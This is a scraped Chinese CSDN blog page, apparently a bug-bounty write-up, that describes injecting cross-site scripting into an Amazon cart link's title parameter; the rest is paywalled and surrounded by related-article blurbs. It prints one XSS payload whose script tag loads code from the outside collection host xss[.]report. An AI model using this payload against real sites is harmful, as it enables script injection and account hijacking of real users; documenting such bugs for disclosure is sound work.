【网络安全】XSS(新)+Amazon账户劫持复现

秋说

于 2024-09-04 18:30:41 发布

阅读量16

点赞数 2

分类专栏：网络安全文章标签： web安全 xss 漏洞挖掘

该原创文章未经本人许可，不得用于商业用途。未经授权不得转载，否则保留追究法律责任的权利。

本文链接：https://blog.csdn.net/2301_77485708/article/details/141900936

版权

网络安全专栏收录该内容

73 篇文章 2 订阅 ¥49.90 ¥99.00

订阅专栏

超级会员免费看

原创文章，不得转载。

文章目录

- 正文
- 实战
- 注意

正文

在平台创建订单后，用户可以通过平台的客服部分发送订单信息，与客服人员进行沟通，或者提交反馈或问题，订单信息为链接形式：

amazon.com/xxx/cart?nav=1&pageStory=CART&pf_PR_i=4541017031&pf_rd_TY=1c&pf_rd_r=F565335F37104645B00C&pf_rd_ST=mobile-hybrid-2&pf_rd_t=&ranking=top-sellers&ref_=dbs_f_w_shv_dbs_f_w_s1_1_1c2e7269-d4b9-4441-ad2e-7b69d9ab69d5&Type=Test&CartType=likes&title=TestShopping

对title参数构造XSS，这里提供Payload：

'"()&%<body onload=alert('"><script src={://}xss[.]report/c/user></script>)

了解本专栏

订阅专栏解锁全文

超级会员免费看

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

秋说

关注关注

2
点赞
踩
2

收藏

觉得还不错? 一键收藏
打赏
1
评论
【网络安全】XSS(新)+Amazon账户劫持复现

在平台创建订单后，用户可以通过平台的客服部分发送订单信息，与客服人员进行沟通，或者提交反馈或问题，订单信息为链接形式
复制链接

扫一扫

专栏目录

订阅专栏

[网络安全自学篇] 二十一.GeekPwn 2019极客大赛之安全攻防技术总结及ShowTime

杨秀璋的专栏

11-04

1万+

这是作者的系列网络安全自学教程，主要是关于网安工具和实践操作的在线笔记，特分享出来与博友共勉，希望您们喜欢，一起进步。这篇文章主要分享作者10月24日参加上海GeekPwn极客大赛的体会，包括各种安全技术、ShowTime及疑惑。作者尽量还原当时的现场情景，以观众第一视角，带着网络安全初学者的无数疑问，并查询资料分享一些技术点。写这篇文章不容易，花费了两部手机电量，许多笔记、照片和资料完成，希望您喜欢，不喜勿喷~

[网络安全自学篇] 八十八.基于机器学习的恶意代码检测技术详解

杨秀璋的专栏

07-19

1万+

这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。前文分享了传统的恶意代码检测技术，包括恶意代码检测的对象和策略、特征值检测技术、校验和检测技术、启发式扫描技术、虚拟机检测技术和主动防御技术。这篇文章将介绍基于机器学习的恶意代码检测技术，主要参考郑师兄的视频总结，包括机器学习概述与算法举例、基于机器学习方法的恶意代码检测、机器学习算法在工业界的应用。同时，我再结合自己的经验进行扩充，详细分享了基于机器学习的恶意代码检测技术，基础性文章，希望对

1 条评论您还未登录，请先登录后发表或查看评论

【小迪安全】完整详细笔记01-39天

热门推荐

m0_74169008的博客

06-07

2万+

凡是存在文件上传的地方均有可能存在文件上传漏洞，有文件上传就可以测试漏洞；指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。文件上传漏洞的时候看对方的代码是否写的比较完整、安全，疏忽了验证就会造成文件上传漏洞；有文件上传的功能就可以去测试；

网络安全学术顶刊——CCS '23 论文清单与摘要（上）

漏洞战争

12-02

5847

最近大家都来催更了，刚好上周把CCS '23的论文爬下来。之前都是用chatgpt翻译，这次打算用下国产货。一开始用腾讯翻译这种比较传统的翻译工具，在面对这种专业性比较强的领域时，那翻译质量真是一言难尽，果断弃用。大模型时代，传统的翻译手段都会被降维打击。对比文心一言、智谱、千问、讯飞之后，发现还是文心一言的翻译质量更好，但相比chatgpt仍有差距，主要原因是文心更停留于表面翻译，语句冗长且口语...

【网络安全】XSS+OTP绕过+账户接管

等风来

09-01

294

因此，能够实现接管账户，但此漏洞需要用户交互，危害程度降低。

网络安全 - XSS LABS 靶场源码（Level 14 修复版 + 外链资源优化）

08-28

在网络安全教育的广阔领域中，XSS（跨站脚本）攻击始终是一个核心议题。为了提升安全爱好者及开发者的防御技能，我对原本的 XSS LABS 靶场源码进行了修复，特别针对Level 14关卡进行了全面修复与优化。 Level 14 ...

self xss+csrf dvwa靶机复现

qq_52016943的博客

08-17

267

self XSS+CSRF

网络安全攻击方式XSS初探.pdf

09-20

XSS攻击（Cross-site Scripting，跨站脚本攻击）是一种常见的网络安全攻击手段，攻击者利用恶意脚本代码注入网页，当用户浏览含有恶意脚本的网页时，这些代码会在用户浏览器上执行，从而达到攻击者的目的。XSS攻击...

【网络安全】服务基础第一阶段——第九节：Windows系统管理基础---- Windows_AD域

goldfish8848的博客

09-03

960

活动目录（Active Directory，AD）是微软Windows Server操作系统中的一个关键服务，它提供了一个集中的目录服务，用于管理网络环境中的用户、计算机、设备、应用程序和服务。，如⼀个⽤户，如果我们在服务器已给这个⽤户定义了讲如：⽤户名、⽤户密码、⼯作单位、联系电话、家庭住址等，那上⾯所说的总和⼴义上理解就是“⽤户”这个名字的名字空间，因为我们只输⼊⼀个⽤户名即可找到上⾯我所列的⼀切信息。例如，在AD中，域控制器的名称会映射到其在DNS中的记录，以便⽹络中的其他服务和客户端可以找到它。

【网络安全】漏洞挖掘

anquan2233的博客

08-29

1441

在springframeworl/expression/spel/stand/InternalSpelExpressionParser/doParseExpression()方法中、会在tokenizer.process()中对token进行源码与字节码的判断操作、继续向下。会进入到springframework/cloud/function/context/config/RoutingFunction/functionFromExpression()方法。Payload 的构造可以参考官方测试用例。

人工智能在网络安全领域的应用探索

A526847的博客

08-29

1285

随着网络技术的飞速发展，网络安全问题日益凸显，成为制约数字化进程的重要瓶颈。人工智能（AI）作为一种变革性技术，正逐步在网络安全领域展现出其巨大的潜力和价值。本文旨在探讨人工智能在网络安全领域的应用现状、优势、挑战及未来发展趋势。

【网络安全】服务基础第一阶段——第七节：Windows系统管理基础---- Web与FTP服务器

goldfish8848的博客

08-31

1170

将某台计算机中的⽂件通过⽹络传送到可能相距很远的另⼀台计算机中，是⼀项基本的⽹络应⽤，即⽂件传送。（File Transfer Protocol）是因特⽹上使⽤得最⼴泛的⽂件传送协议。涉及到文件的上传和下载，很多都会使用到文件传输协议。文件传输协议提供了不同主机之间的文件传输能力，允许用户进行文件的上传和下载。而对于两台主机间的通信，说到底还是两台主机的应用程序在进行通信。

网络安全服务基础Windows--第12节-域与活动目录

m0_65771743的博客

09-03

861

域中的计算机可以共享资源，例如⽂件系统和打印机，⽤户只需在域中进⾏⼀次登录（单点登录），就可以访问其有权限的所有资源。我们在服务器上通过查找⼀个对象可以查到的所有关联信息总和，如⼀个⽤户，如果我们在服务器已给这个⽤户定义了讲如：⽤户名、⽤户密码、⼯作单位、联系电话、家庭住址等，那上⾯所说的总和⼴义上理解就是“⽤户”这个名字的名字空间，因为我们只输⼊⼀个⽤户名即可找到上⾯我所列的⼀切信息。例如，在AD中，域控制器的名称会映射到其在DNS中的记录，以便⽹络中的其他服务和客户端可以找到它。

海外合规|新加坡网络安全认证计划简介（一）

安全小白的博客

09-03

181

Cyber Essentials 标志表彰已实施网络卫生措施的组织，而 Cyber Trust 标志则是表彰具有全面网络安全措施和实践的组织的卓越标志。这些标志是可见的指标，表明组织已实施良好的网络安全实践，以保护其运营和客户免受网络攻击。这两个网络安全认证标志促进了组织与其供应商之间的信任和透明度，特别是这些第三方可能是网络安全风险的额外来源。Cyber Essentials 和 Cyber Trust 标志是组织传达其已实施的网络安全措施的可见标签，这是组织的一种竞争优势。我的组织应该申请哪种标志？

网络安全入门教程（非常详细）从零基础入门到精通_网路安全教程

2401_85023708的博客

08-30

2250

1.入行网络安全这是一条坚持的道路，三分钟的热情可以放弃往下看了。2.多练多想，不要离开了教程什么都不会了，最好看完教程自己独立完成技术方面的开发。3.有时多百度，我们往往都遇不到好心的大神，谁会无聊天天给你做解答。4.遇到实在搞不懂的，可以先放放，以后再来解决。先科普划分一下级别（全部按小白基础，会写个表格word就行的这种）**1级：脚本小子；难度：无，**达到“黑客新闻”的部分水准（一分钱买iphone、黑掉母校官网挂女神照片什么的）网络安全工程师；

2024年入职/转行网络安全，该如何规划？_网络安全职业规划